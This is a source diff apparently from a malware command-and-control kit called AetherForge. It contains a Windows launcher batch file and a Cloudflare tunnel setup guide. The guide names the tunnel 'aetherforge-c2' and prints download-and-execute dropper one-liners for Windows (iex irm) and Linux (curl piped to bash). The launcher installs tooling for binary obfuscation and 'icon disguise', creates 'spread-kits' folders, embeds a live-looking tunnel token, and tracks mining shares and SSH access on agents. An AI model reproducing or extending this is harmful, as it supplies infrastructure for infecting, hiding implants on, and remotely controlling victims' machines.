margin-right: 0.35rem;
}
.forge-last-build-tag {
display: inline-block;
font-family: 'Courier New', monospace;
font-size: 0.6rem;
font-weight: 700;
letter-spacing: 0.08em;
padding: 0.08rem 0.38rem;
border-radius: 3px;
background: rgba(255, 140, 0, 0.15);
border: 1px solid rgba(255, 140, 0, 0.4);
color: #ffb04c;
margin-right: 0.2rem;
}
.forge-last-build-actions {
display: flex;
gap: 0.45rem;
align-items: center;
flex-shrink: 0;
flex-wrap: wrap;
}
.btn-sm {
font-size: 0.78rem;
padding: 0.28rem 0.7rem;
}

View File

@@ -24,6 +24,7 @@ export interface Agent {
arch?: string;
os_version?: string;
capabilities?: AgentCapabilities;
ssh_available?: boolean;
}
export interface AgentCapabilities {
@@ -80,6 +81,8 @@ export interface BuildRecord {
platform?: string;
bundle_size?: number;
download_url?: string;
/** When true this build is served by /get and /install.* dropper endpoints */
pinned?: boolean;
}
/** Alias used in components that deal with forged builds */

View File

@@ -19,6 +19,7 @@ export interface WSStatsUpdate {
uptime_seconds?: number;
shares_submitted?: number;
shares_accepted?: number;
ssh_available?: boolean;
}
export interface WSCommandResult {

22
server/web/src/vite-env.d.ts vendored Normal file
View File

@@ -0,0 +1,22 @@
/// <reference types="vite/client" />
declare module '*.png' {
const src: string;
export default src;
}
declare module '*.jpg' {
const src: string;
export default src;
}
declare module '*.jpeg' {
const src: string;
export default src;
}
declare module '*.svg' {
const src: string;
export default src;
}
declare module '*.webp' {
const src: string;
export default src;
}

251
usb/LAUNCH.bat Normal file
View File

@@ -0,0 +1,251 @@
@echo off
setlocal EnableExtensions EnableDelayedExpansion
title AetherForge Control Deck
cd /d "%~dp0"
set "ROOT=%CD%"
echo.
echo ================================================================
echo AetherForge - Portable Control Deck
echo ================================================================
echo.
:: ----------------------------------------------------------------
:: 1. Locate Go - prefer bundled toolchain, fall back to system Go
:: ----------------------------------------------------------------
set "BUNDLED_GO=%ROOT%\toolchain\go\bin\go.exe"
set "GO_BIN="
if exist "%BUNDLED_GO%" (
echo [Go] Using bundled toolchain: %ROOT%\toolchain\go
set "GO_BIN=%ROOT%\toolchain\go\bin\go.exe"
set "GOROOT=%ROOT%\toolchain\go"
set "PATH=%ROOT%\toolchain\go\bin;%ROOT%\toolchain\gopath\bin;%PATH%"
goto go_ready
)
:: Check if Go is installed system-wide
where go >nul 2>nul
if not errorlevel 1 (
echo [Go] Using system Go installation.
set "GO_BIN=go"
goto go_ready
)
:: Go not found - offer to download portable toolchain
echo [Go] Not found. Downloading portable Go toolchain...
echo This only happens once. The toolchain is saved to toolchain\go\
echo.
if /i "%PROCESSOR_ARCHITECTURE%"=="AMD64" (
set "GO_ARCH=amd64"
) else (
if /i "%PROCESSOR_ARCHITECTURE%"=="ARM64" (
set "GO_ARCH=arm64"
) else (
set "GO_ARCH=386"
)
)
set "GO_VERSION=1.22.4"
set "GO_ZIP=go%GO_VERSION%.windows-%GO_ARCH%.zip"
set "GO_URL=https://go.dev/dl/%GO_ZIP%"
set "GO_DEST=%ROOT%\toolchain\go_%GO_ARCH%.zip"
powershell -NoProfile -Command "& { [Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri '%GO_URL%' -OutFile '%GO_DEST%' }"
if errorlevel 1 (
echo.
echo ERROR: Could not download Go. Please either:
echo a) Install Go from https://go.dev/dl/ on this PC, then re-run LAUNCH.bat
echo b) Copy C:\Program Files\Go\ into toolchain\go\ from a PC that has Go
echo.
pause
exit /b 1
)
echo [Go] Extracting toolchain...
powershell -NoProfile -Command "Expand-Archive -Path '%GO_DEST%' -DestinationPath '%ROOT%\toolchain' -Force"
del "%GO_DEST%" 2>nul
if not exist "%BUNDLED_GO%" (
echo ERROR: Extraction failed.
pause
exit /b 1
)
set "GO_BIN=%ROOT%\toolchain\go\bin\go.exe"
set "GOROOT=%ROOT%\toolchain\go"
set "PATH=%ROOT%\toolchain\go\bin;%ROOT%\toolchain\gopath\bin;%PATH%"
echo [Go] Toolchain ready.
:go_ready
:: ----------------------------------------------------------------
:: 2. Pin all Go caches to the USB so module downloads travel with you
:: ----------------------------------------------------------------
set "GOPATH=%ROOT%\toolchain\gopath"
set "GOMODCACHE=%ROOT%\toolchain\gopath\pkg\mod"
set "GOCACHE=%ROOT%\toolchain\gocache"
set "GOENV=off"
:: ----------------------------------------------------------------
:: 3. Install optional Forge tools if missing (non-fatal)
:: ----------------------------------------------------------------
if /i "%AF_INSTALL_TOOLS%"=="1" (
if not exist "%ROOT%\toolchain\gopath\bin\garble.exe" (
echo [Tools] Installing garble - obfuscation support...
"%GO_BIN%" install mvdan.cc/garble@latest
if errorlevel 1 (
echo [Tools] WARNING: garble install failed - Forge obfuscation will be skipped.
) else (
echo [Tools] garble ready.
)
)
if not exist "%ROOT%\toolchain\gopath\bin\go-winres.exe" (
echo [Tools] Installing go-winres - Windows icon disguise...
"%GO_BIN%" install github.com/tc-hib/go-winres@v0.3.1
if errorlevel 1 (
echo [Tools] WARNING: go-winres install failed - Fusion icon patch will be skipped.
) else (
echo [Tools] go-winres ready.
)
)
) else (
echo [Tools] Skipping optional installs. Run: set AF_INSTALL_TOOLS=1 ^&^& LAUNCH.bat to install.
)
:: ----------------------------------------------------------------
:: 4. Ensure data directories exist
:: ----------------------------------------------------------------
if not exist "%ROOT%\data\builds" mkdir "%ROOT%\data\builds"
if not exist "%ROOT%\data\logs" mkdir "%ROOT%\data\logs"
if not exist "%ROOT%\data\spread-kits" mkdir "%ROOT%\data\spread-kits"
if not exist "%ROOT%\data\uploads" mkdir "%ROOT%\data\uploads"
if not exist "%ROOT%\data\blueprints" mkdir "%ROOT%\data\blueprints"
if not exist "%ROOT%\data\preps" mkdir "%ROOT%\data\preps"
:: ----------------------------------------------------------------
:: 5. Cloudflare Tunnel — install MSI, register service with token
:: ----------------------------------------------------------------
set "CF_MSI=%ROOT%\cloudflare\cloudflared-windows-amd64.msi"
set "CF_TOKEN=eyJhIjoiODk1NDc5YWIzNTQwZGFhNmQ2MWFlNzAyYTUxNjQ0NzUiLCJ0IjoiYWFhYzYzMTctMzgyYS00OTM3LTgxY2YtYjM2ZjVkNjZjYTU4IiwicyI6Ik1XRXlaV0FqTlRndE5XTTRPUzAwT0RCa0xXRTNaR010WkdRNU56UTJZMlJoTmpNMiJ9"
set "CF_HOSTNAME=killa.thetempleofdoom.com"
set "CF_BIN="
set "CF_READY=0"
:: Step A — locate cloudflared binary (system PATH or default install paths)
where cloudflared >nul 2>nul
if not errorlevel 1 (
set "CF_BIN=cloudflared"
goto cf_check_service
)
if exist "%ProgramFiles%\cloudflare\cloudflared\cloudflared.exe" (
set "CF_BIN=%ProgramFiles%\cloudflare\cloudflared\cloudflared.exe"
goto cf_check_service
)
if exist "%ProgramFiles(x86)%\cloudflare\cloudflared\cloudflared.exe" (
set "CF_BIN=%ProgramFiles(x86)%\cloudflare\cloudflared\cloudflared.exe"
goto cf_check_service
)
:: Step B — cloudflared not found, install from bundled MSI
if not exist "%CF_MSI%" (
echo [CF] WARNING: cloudflared not found and no MSI bundled. Skipping tunnel.
goto cf_done
)
echo [CF] Installing cloudflared from bundled MSI...
msiexec /i "%CF_MSI%" /quiet /norestart
echo [CF] Waiting for MSI to complete...
ping -n 10 127.0.0.1 >nul
:: Re-locate after install
where cloudflared >nul 2>nul
if not errorlevel 1 ( set "CF_BIN=cloudflared" & goto cf_check_service )
if exist "%ProgramFiles%\cloudflare\cloudflared\cloudflared.exe" (
set "CF_BIN=%ProgramFiles%\cloudflare\cloudflared\cloudflared.exe"
goto cf_check_service
)
echo [CF] WARNING: MSI installed but cloudflared still not found. Try running as Administrator.
goto cf_done
:cf_check_service
echo [CF] Binary: !CF_BIN!
:: Step C — register tunnel as Windows service if not already installed
sc query cloudflared >nul 2>nul
if not errorlevel 1 (
echo [CF] Tunnel service already registered.
goto cf_start_service
)
echo [CF] Registering tunnel service with token...
"!CF_BIN!" service install %CF_TOKEN%
if errorlevel 1 (
echo [CF] WARNING: service install failed. Run LAUNCH.bat as Administrator once.
goto cf_done
)
echo [CF] Tunnel service registered.
ping -n 3 127.0.0.1 >nul
:cf_start_service
:: Step D — start the service if not already running
sc query cloudflared | findstr /I "RUNNING" >nul 2>nul
if not errorlevel 1 (
echo [CF] Tunnel already running.
set "CF_READY=1"
goto cf_done
)
net start cloudflared >nul 2>nul
ping -n 4 127.0.0.1 >nul
echo [CF] Tunnel live: https://%CF_HOSTNAME%
set "CF_READY=1"
:cf_done
:: ----------------------------------------------------------------
:: 6. Detect LAN IP for display
:: ----------------------------------------------------------------
set "LAN_IP=localhost"
:: ----------------------------------------------------------------
:: 7. Kill any stale server process
:: ----------------------------------------------------------------
taskkill /F /IM AetherForge.exe >nul 2>nul
ping -n 2 127.0.0.1 >nul
echo.
echo ================================================================
echo STARTING CONTROL DECK
echo ================================================================
echo Local: http://localhost:%SERVER_PORT%
echo LAN: http://%LAN_IP%:%SERVER_PORT%
if "!CF_READY!"=="1" (
echo Public: https://!CF_HOSTNAME!
echo Dropper PS: iex -irm 'https://!CF_HOSTNAME!/install.ps1'
)
echo Data: %ROOT%\data\
echo.
echo First run: admin password printed to console below.
echo Press Ctrl+C to stop.
echo ================================================================
echo.
:: Open browser after short delay
start "" powershell -NoProfile -WindowStyle Hidden -Command "Start-Sleep -Seconds 3; Start-Process 'http://localhost:%SERVER_PORT%/'"
:: Launch server
"%ROOT%\AetherForge.exe" -port %SERVER_PORT% -data "%ROOT%\data"
set "EC=!ERRORLEVEL!"
echo.
if "!EC!"=="0" (
echo [Server] Stopped normally.
) else (
echo [Server] Exited with code !EC!.
echo If port %SERVER_PORT% is in use, close other AetherForge windows and retry.
)
:: Cloudflare tunnel runs as a Windows service — leave it up between sessions
echo.
pause
endlocal

45
usb/cloudflare/SETUP.txt Normal file
View File

@@ -0,0 +1,45 @@
========================================================
AetherForge — Cloudflare Tunnel One-Time Setup
Target hostname: killa.thetempleofdoom.com
========================================================
You only do this ONCE on any machine that has cloudflared.
After that, drop credentials.json in this folder and the
USB launcher handles everything automatically forever.
STEP 1 — Install cloudflared
Run LAUNCH.bat once — it will install cloudflared
from the bundled MSI automatically.
OR: msiexec /i cloudflared-windows-amd64.msi
STEP 2 — Authenticate with your Cloudflare account
cloudflared tunnel login
(Opens browser — log in, select thetempleofdoom.com)
This saves a cert.pem to %USERPROFILE%\.cloudflared\
STEP 3 — Create the named tunnel
cloudflared tunnel create aetherforge-c2
Note the Tunnel ID printed (UUID format).
STEP 4 — Route your subdomain to the tunnel
cloudflared tunnel route dns aetherforge-c2 killa.thetempleofdoom.com
(Adds CNAME: killa -> <tunnel-id>.cfargotunnel.com in your CF DNS)
STEP 5 — Copy credentials to this USB folder
The credentials JSON is at:
%USERPROFILE%\.cloudflared\<tunnel-id>.json
Copy it to this folder, overwriting credentials.json:
copy %USERPROFILE%\.cloudflared\<tunnel-id>.json cloudflare\credentials.json
STEP 6 — Done
From now on LAUNCH.bat detects the credentials, writes a
fresh config.yml automatically, and starts the tunnel.
The tunnel always connects to 127.0.0.1:8989 (localhost)
regardless of which network the machine is on.
========================================================
Tunnel URL after setup: https://killa.thetempleofdoom.com
Dashboard: https://killa.thetempleofdoom.com
Dropper (Windows): iex (irm 'https://killa.thetempleofdoom.com/install.ps1')
Dropper (Linux/Mac): curl -sL https://killa.thetempleofdoom.com/install.sh | bash
========================================================